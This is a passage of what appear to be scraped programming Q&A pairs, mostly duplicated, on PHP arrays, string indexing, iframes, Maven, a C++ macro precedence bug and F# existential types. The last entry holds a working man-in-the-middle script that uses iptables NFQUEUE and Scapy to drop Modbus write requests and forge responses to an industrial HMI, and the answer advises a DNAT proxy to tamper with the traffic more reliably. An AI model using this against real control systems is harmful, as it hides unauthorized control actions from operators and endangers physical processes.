    "room_d" => "089a6ca8-26de-3ca2-bbbf-17c410d15266"
    "new_electric => "123"
  ]
  "2" => array:2 [▼
    "room_id" => "13c56ac2-6c77-3ca7-b24a-2a70f4f0526c"
    "new_electric" => "234"
  ]
  "3" => array:2 [▼
    "room_id" => "2d9b7392-aa50-37e4-882a-804affb87223"
    "new_electric" => "345"
      ]
]

I think I need to use an array_push but I don't know how to do that ? Please help.

Body:
other way

  <pre>
    <?php
    $array=array(3=>array("_token"=>"hLuF5TLimRRkxRUOeeWoOby7iXLNXU7EiHRmTAso","room_id"=>array("0"=>"089a6ca8-26de-3ca2-bbbf-17c410d15266"
        ,"1"=>"13c56ac2-6c77-3ca7-b24a-2a70f4f0526c","2"=>"50-37e4-882a-804affb87223"),"new_electric"=>array(0=>"123","1"=>"234","2"=>"345")));
    print_r($array);
    $i=0;
    $array4=array();
    array_push($array4,$array[3]["_token"]);
    foreach($arr2 as $value){
          array_push($array4,array($array[3]["room_id"][$i],$array[3]["new_electric"][$i]));
          $i++;
    }
    print_r($array4);
    ?>

    </pre>


问:
How to print the even-indexed and odd-indexed characters of strings?
Task at hand:

Given a string, S, of length N that is indexed from 0 to N-1, print
  its even-indexed and odd-indexed characters as 2 space-separated
  strings on a single line.

The test cases are written such that The first line contains an
  integer, N (the number of test cases). Each line i of the N subsequent
  lines contain a String.

Here is my code:

```<code>N = int(raw_input())

for i in range(0,N):
    string = raw_input()

evenlist = []
oddlist = []

for item, char in enumerate(strg):
    if item % 2 == 0:
        evenlist.append(char)
    else:
        oddlist.append(char)

print ''.join(evenlist), ''.join(oddlist)
</code>```

Sample run:

The first input is:
2
Hacker
Rank

Expected output is:
Hce akr
Rn ak
```

<p>But I get:</p>

<pre class="lang-none prettyprint-override"><code>HceRn akrak
</code>```

Here is a link to the assignment that might explain the question better.

答:
```<code>import java.io.*;
import java.util.*;

public class Solution {

        private static void f(String s) {
            // TODO Auto-generated method stub
            char c[]=s.toCharArray();
            int i,j;

           for (i = 0; i <c.length;i++)
           {
               System.out.print(c[i]);
                   i+=1;
                  // System.out.print(" ");
           }
           System.out.print(" ");

           for (j = 1; j<c.length;j++)
           {
               System.out.print(c[j]);
               j+=1;
           }

        }

       public static void main(String[] args)
        {
            // TODO Auto-generated method stub
           Scanner sc=new Scanner(System.in);
           int s=sc.nextInt();
           String s1=sc.next();
           f(s1);

            String s2=sc.next();
           System.out.println();
           f(s2);
        }
}
</code>```

Body:
Task at hand:

Given a string, S, of length N that is indexed from 0 to N-1, print
  its even-indexed and odd-indexed characters as 2 space-separated
  strings on a single line.

The test cases are written such that The first line contains an
  integer, N (the number of test cases). Each line i of the N subsequent
  lines contain a String.

Here is my code:

N = int(raw_input())

for i in range(0,N):
    string = raw_input()

evenlist = []
oddlist = []

for item, char in enumerate(strg):
    if item % 2 == 0:
        evenlist.append(char)
    else:
        oddlist.append(char)

print ''.join(evenlist), ''.join(oddlist)

Sample run:

The first input is:
2
Hacker
Rank

Expected output is:
Hce akr
Rn ak

But I get:

HceRn akrak

Here is a link to the assignment that might explain the question better.


问:
Iframe ContentWindow
When I try to get the contentwindow out of an iframe, using

```<code>var contentWindow = document.getElementbyId('iframe').contentWindow
</code>```

sometimes it returns "Window undefined" because the contentWindow doesn't exist.  I can't seem to run a check for it using

```<code>if (contentWindow === unidentified) or if (contentWindow === null)
</code>```

as it just errors out of the code if I try to grab values out of it.  Has anyone else run into this problem and figured out a solution?

答:
Try this

```<code>var iframeElem = parent.document.getElementById("iframe");
var win = iframeElem.contentWindow;
</code>```

Title: Iframe ContentWindow

Body:
When I try to get the contentwindow out of an iframe, using

var contentWindow = document.getElementbyId('iframe').contentWindow

sometimes it returns "Window undefined" because the contentWindow doesn't exist.  I can't seem to run a check for it using

if (contentWindow === unidentified) or if (contentWindow === null)

as it just errors out of the code if I try to grab values out of it.  Has anyone else run into this problem and figured out a solution?

Body:
Try this

var iframeElem = parent.document.getElementById("iframe");
var win = iframeElem.contentWindow;


问:
Include maven dependency from target folder
I'm building a web server using Java Spring Boot, and using swagger-codegen to generate the rest client for other projects to consume.

I want to test the rest-client in my integration tests, however including a maven project / jar that exists in my target directory (after the initial build), in my project's POM seems to be impossible.

Is it possible to build these tests with this new dependency?

答:
I need to make some assumptions so please tell me if I am totally wrong.

I'm building a web server

means that you are creating a REST service?

I want to test the rest-client in my integration tests

means that you (probably) have unit tests for the client and want to use - and integration test - this client in integration tests as one module?

I suggest that you

Create (if not already created) a separate project for the client.

Install that to your local repo, like: mvn install

Add this installed artifact as dependency anywhere you need it, like in integration tests with service.

I really do no recommend to Include maven dependency from target folder but can not say if it is in some cases absolutety necessary though...


问:
C++ - multiple #DEFINE values cause simple arithmetics to fail
I am running a program, where I keep incrementing "long int" in a big loop (the value is expected up to 10^8). The "long int" in question is initialized to 0. My console print looks like this :

errorous messages   : 400000/5000 = 800000 instances

Please notice the division is incorrect. Code printing the line above :

```<code>std::cout << "errorous messages   : " << total_error << "/" << GRID_SIZE << " = " << (long)((long)total_error / (long)GRID_SIZE) << " instances" << std::endl;
</code>```

Where the variables in question are :

```<code>#define BLOCKS      50
#define THREADS     100
#define GRID_SIZE   BLOCKS*THREADS
</code>```

and

```<code>long int total_error;  <--- incremented in a loop (never decremented, no overflow)
</code>```

What I have tried

I have played around with recasting the division of (long)((long)total_error / (long)GRID_SIZE) to (long)(total_error / GRID_SIZE) and some others, the result is the same.

Compilation Info

```<code> /opt/ohpc/pub/mpi/openmpi-gnu/1.10.6/bin/mpicxx
-I../../common/inc -I/usr/local/cuda-8.0/include
-I/export/home/ra2/test_cuda/test_cuda_v0_1/source_code
-I/export/home/ra2/test_cuda/test_cuda_v0_1/source_code/Utility
-I/export/home/ra2/test_cuda/test_cuda_v0_1/source_code/Data_objects
-I/export/home/ra2/test_cuda/test_cuda_v0_1/source_code/cereal
-std=c++11    -o main.o -c main.cpp
</code>```

I am compiling with OpenMPI. There is CUDA as well, but this is main.cpp and there is no CUDA code.

QUESTION

What am I missing ? Why do I get wrong result for such a trivial operation ?

Justification of the question

The proposed duplicate is not related to my issue, as it defines macro functions, furthermore it doesnt explain why pre-processor behaves the way it does. It merely explains the way the macro function is executed.

My question is well explained and backed up by code producing the explained behavior. Please see how people answering this question had no issues understanding the cause of the problem.

答:
```<code>#define GRID_SIZE   BLOCKS*THREADS
</code>```

should be

```<code>#define GRID_SIZE   (BLOCKS*THREADS)
</code>```

or better

```<code>const int GRID_SIZE = BLOCKS*THREADS;
</code>```

Body:
I am running a program, where I keep incrementing "long int" in a big loop (the value is expected up to 10^8). The "long int" in question is initialized to 0. My console print looks like this :

errorous messages   : 400000/5000 = 800000 instances

Please notice the division is incorrect. Code printing the line above :

std::cout << "errorous messages   : " << total_error << "/" << GRID_SIZE << " = " << (long)((long)total_error / (long)GRID_SIZE) << " instances" << std::endl;

Where the variables in question are :

#define BLOCKS      50
#define THREADS     100
#define GRID_SIZE   BLOCKS*THREADS

and

long int total_error;  <--- incremented in a loop (never decremented, no overflow)

What I have tried

I have played around with recasting the division of (long)((long)total_error / (long)GRID_SIZE) to (long)(total_error / GRID_SIZE) and some others, the result is the same.

Compilation Info

 /opt/ohpc/pub/mpi/openmpi-gnu/1.10.6/bin/mpicxx
-I../../common/inc -I/usr/local/cuda-8.0/include
-I/export/home/ra2/test_cuda/test_cuda_v0_1/source_code
-I/export/home/ra2/test_cuda/test_cuda_v0_1/source_code/Utility
-I/export/home/ra2/test_cuda/test_cuda_v0_1/source_code/Data_objects
-I/export/home/ra2/test_cuda/test_cuda_v0_1/source_code/cereal
-std=c++11    -o main.o -c main.cpp

I am compiling with OpenMPI. There is CUDA as well, but this is main.cpp and there is no CUDA code.

QUESTION

What am I missing ? Why do I get wrong result for such a trivial operation ?

Justification of the question

The proposed duplicate is not related to my issue, as it defines macro functions, furthermore it doesnt explain why pre-processor behaves the way it does. It merely explains the way the macro function is executed.

My question is well explained and backed up by code producing the explained behavior. Please see how people answering this question had no issues understanding the cause of the problem.

Body:
#define GRID_SIZE   BLOCKS*THREADS

should be

#define GRID_SIZE   (BLOCKS*THREADS)

or better

const int GRID_SIZE = BLOCKS*THREADS;


问:
Functional Programming: Embedding functions in AST?
I'm currently attempting to use F# to model linking functions together as part of an AST (though at the moment it's more of a chain). Each link is a function, which may also have a chain attached to it. However, to specify the type signature of the chain attached to the link, you must also add more type parameters. But you do that, and then one more parameter is added, etc. ad infinitum. An example of this is below.

```<code>type Chain<'a, 'b, 'c> =
| Link of ('a -> 'b) * Chain<'c>  // This doesn't work - you need more type params supplied
| End  of 'a
</code>```

I would like to be able to express the chain as something like Link ((fun x -> x + 5), Link... and so forth until it reaches an End, but I can't see a way to do so without encountering the type explosion problem.

If anybody could point me in a direction that would help create a chain of arbitrary functions, of arbitrary length, I'd appreciate it.

答:
Although the question's a little bit unclear, I think what you're asking for is something more like (hypothetical syntax):

```<code>type Chain<'a> =
| Link of ('b -> 'a) * Chain<'b>
| End of 'a
</code>```

where we introduce a new type parameter 'b inside the case for Link - it can be any type, as long as the domain of the function matches the type argument of the nested Chain<_>.  This is related to the idea of an "existential type" (basically the dual notion of universal type quantification by generics).

Bad news: there's no simple syntax to achieve this in F#.
Good(?) news: there's an extremely ugly way to encode this, if you really want to.

The upshot is that if you want to express the idea of something like your link type, you can do it by introducing a few auxiliary types in a mechanical way (the type ∃'t.F<'t> can be encoded as ∀'x.(∀'t.F<'t> -> 'x) -> 'x, which can be expressed with the F# type system).

Here's what your example looks like under this encoding:

```<code>type 'a Chain =
| End of 'a
| Link of SomeLink<'a>
and SomeLink<'a> = abstract Apply : LinkUser<'a,'x> -> 'x
and LinkUser<'a,'x> = abstract Apply : ('b -> 'a) * Chain<'b> -> 'x

let mkLink (f, c) = Link { new SomeLink<_> with member __.Apply(w) = w.Apply(f, c) }

let chain = mkLink (sprintf "%i", End 1)

let rec applyChain<'a> : 'a Chain -> 'a = function
| End a -> a
| Link l -> l.Apply { new LinkUser<_,_> with member __.Apply(f, c) = f (applyChain c) }

applyChain chain // "1"
</code>```

Body:
I'm currently attempting to use F# to model linking functions together as part of an AST (though at the moment it's more of a chain). Each link is a function, which may also have a chain attached to it. However, to specify the type signature of the chain attached to the link, you must also add more type parameters. But you do that, and then one more parameter is added, etc. ad infinitum. An example of this is below.

type Chain<'a, 'b, 'c> =
| Link of ('a -> 'b) * Chain<'c>  // This doesn't work - you need more type params supplied
| End  of 'a

I would like to be able to express the chain as something like Link ((fun x -> x + 5), Link... and so forth until it reaches an End, but I can't see a way to do so without encountering the type explosion problem.

If anybody could point me in a direction that would help create a chain of arbitrary functions, of arbitrary length, I'd appreciate it.

Body:
Although the question's a little bit unclear, I think what you're asking for is something more like (hypothetical syntax):

type Chain<'a> =
| Link of ('b -> 'a) * Chain<'b>
| End of 'a

where we introduce a new type parameter 'b inside the case for Link - it can be any type, as long as the domain of the function matches the type argument of the nested Chain<_>.  This is related to the idea of an "existential type" (basically the dual notion of universal type quantification by generics).

Bad news: there's no simple syntax to achieve this in F#.
Good(?) news: there's an extremely ugly way to encode this, if you really want to.

The upshot is that if you want to express the idea of something like your link type, you can do it by introducing a few auxiliary types in a mechanical way (the type ∃'t.F<'t> can be encoded as ∀'x.(∀'t.F<'t> -> 'x) -> 'x, which can be expressed with the F# type system).

Here's what your example looks like under this encoding:

type 'a Chain =
| End of 'a
| Link of SomeLink<'a>
and SomeLink<'a> = abstract Apply : LinkUser<'a,'x> -> 'x
and LinkUser<'a,'x> = abstract Apply : ('b -> 'a) * Chain<'b> -> 'x

let mkLink (f, c) = Link { new SomeLink<_> with member __.Apply(w) = w.Apply(f, c) }

let chain = mkLink (sprintf "%i", End 1)

let rec applyChain<'a> : 'a Chain -> 'a = function
| End a -> a
| Link l -> l.Apply { new LinkUser<_,_> with member __.Apply(f, c) = f (applyChain c) }

applyChain chain // "1"


问:
MODBUS: creating a fake response to write request
I am trying to fool my HMI (client) with some kind of MITM attack. But it looks like I do not understand some basic things. So this is the code and a Wireshark screenshot on HMI side. The problem is:

I am dropping original WRITE request packet from HMI

I am crafting the fake RESPONSE packet and sending it to HMI

After that HMI trying to send new REQUEST but PLC (server) suddenly does not respond :(

```<code>#!/usr/bin/python2
import nfqueue
from scapy.all import *
load_contrib('modbus')
import os
import time

# MITM rule initialization:
iptable_rule1 = "iptables -A FORWARD -j NFQUEUE"
#iptable_rule2 = "iptables -A OUTPUT -j ACCEPT"
os.system(iptable_rule1)
os.system("sysctl net.ipv4.ip_forward=1")

def callback(payload):
    global ON
    data = payload.get_data()
    pkt = IP(data)
    #Checking if WRITE request is in payload
    if ModbusPDU06WriteSingleRegisterRequest in pkt and ModbusADURequest in pkt:
        print "[*] WRITE request packet detected..."
        # Begin of crafting fake RESPONSE packet
        fake_response = IP()/TCP()/ModbusADUResponse()/ModbusPDU06WriteSingleRegisterResponse()
        fake_response[ModbusADUResponse].transId = pkt[ModbusADURequest].transId
        fake_response[ModbusADUResponse].len = pkt[ModbusADURequest].len
        fake_response[ModbusADUResponse].unitId = pkt[ModbusADURequest].unitId
        fake_response[ModbusPDU06WriteSingleRegisterResponse].funcCode = pkt[ModbusPDU06WriteSingleRegisterRequest].funcCode
        fake_response[ModbusPDU06WriteSingleRegisterResponse].registerAddr = pkt[ModbusPDU06WriteSingleRegisterRequest].registerAddr
        fake_response[ModbusPDU06WriteSingleRegisterResponse].registerValue = pkt[ModbusPDU06WriteSingleRegisterRequest].registerValue
        fake_response[IP].src = pkt[IP].dst
        fake_response[IP].dst = pkt[IP].src
        fake_response[TCP].sport = pkt[TCP].dport
        fake_response[TCP].dport = pkt[TCP].sport
        fake_response[TCP].seq = pkt[TCP].ack
        fake_response[TCP].ack = pkt[TCP].seq + len(pkt[TCP].payload)
        fake_response[IP].ttl = 2 #Just for red color in Wireshark
        fake_response[TCP].flags = 'PA'
        #del fake_response[IP].chksum
        #del fake_response[TCP].chksum
        # End of crafting fake RESPONSE packet
        time.sleep(0.1)
        #Injection of FAKE response to the network
        payload.set_verdict_modified (nfqueue.NF_ACCEPT, str(fake_response), len(fake_response))
    #All other packets have to be accepted
    else:
        print "[*] Non request packet accepted..."
        payload.set_verdict(nfqueue.NF_ACCEPT)

def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run()
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        print("Flushing iptables.")
        os.system('iptables -F')
        os.system('iptables -X')

main()
</code>```

Wireshark screenshot

Thank you for all kind of help!

答:
If you want to tamper with data inside a TCP connection, it's probably easier to use iptables to DNAT it to the connections to a local server that acts as a proxy.

By proxy I mean a TCP relay: a TCP server forwarding data as a simple client. Once this works, you can modify the data as you forward it.

This way, your OS will handle TCP sequence & acknowledgment numbers, checksums, etc. Using NFQUEUE + Scapy is an option when you change content without changing the content's length, or when the packets are not a TCP connection (e.g., UDP or ICMP messages).

Body:
I am trying to fool my HMI (client) with some kind of MITM attack. But it looks like I do not understand some basic things. So this is the code and a Wireshark screenshot on HMI side. The problem is:

I am dropping original WRITE request packet from HMI

I am crafting the fake RESPONSE packet and sending it to HMI

After that HMI trying to send new REQUEST but PLC (server) suddenly does not respond :(

#!/usr/bin/python2
import nfqueue
from scapy.all import *
load_contrib('modbus')
import os
import time

# MITM rule initialization:
iptable_rule1 = "iptables -A FORWARD -j NFQUEUE"
#iptable_rule2 = "iptables -A OUTPUT -j ACCEPT"
os.system(iptable_rule1)
os.system("sysctl net.ipv4.ip_forward=1")

def callback(payload):
    global ON
    data = payload.get_data()
    pkt = IP(data)
    #Checking if WRITE request is in payload
    if ModbusPDU06WriteSingleRegisterRequest in pkt and ModbusADURequest in pkt:
        print "[*] WRITE request packet detected..."
        # Begin of crafting fake RESPONSE packet
        fake_response = IP()/TCP()/ModbusADUResponse()/ModbusPDU06WriteSingleRegisterResponse()
        fake_response[ModbusADUResponse].transId = pkt[ModbusADURequest].transId
        fake_response[ModbusADUResponse].len = pkt[ModbusADURequest].len
        fake_response[ModbusADUResponse].unitId = pkt[ModbusADURequest].unitId
        fake_response[ModbusPDU06WriteSingleRegisterResponse].funcCode = pkt[ModbusPDU06WriteSingleRegisterRequest].funcCode
        fake_response[ModbusPDU06WriteSingleRegisterResponse].registerAddr = pkt[ModbusPDU06WriteSingleRegisterRequest].registerAddr
        fake_response[ModbusPDU06WriteSingleRegisterResponse].registerValue = pkt[ModbusPDU06WriteSingleRegisterRequest].registerValue
        fake_response[IP].src = pkt[IP].dst
        fake_response[IP].dst = pkt[IP].src
        fake_response[TCP].sport = pkt[TCP].dport
        fake_response[TCP].dport = pkt[TCP].sport
        fake_response[TCP].seq = pkt[TCP].ack
        fake_response[TCP].ack = pkt[TCP].seq + len(pkt[TCP].payload)
        fake_response[IP].ttl = 2 #Just for red color in Wireshark
        fake_response[TCP].flags = 'PA'
        #del fake_response[IP].chksum
        #del fake_response[TCP].chksum
        # End of crafting fake RESPONSE packet
        time.sleep(0.1)
        #Injection of FAKE response to the network
        payload.set_verdict_modified (nfqueue.NF_ACCEPT, str(fake_response), len(fake_response))
    #All other packets have to be accepted
    else:
        print "[*] Non request packet accepted..."
        payload.set_verdict(nfqueue.NF_ACCEPT)

def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run()
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        print("Flushing iptables.")
        os.system('iptables -F')
        os.system('iptables -X')

main()

Wireshark screenshot

Thank you for all kind of help!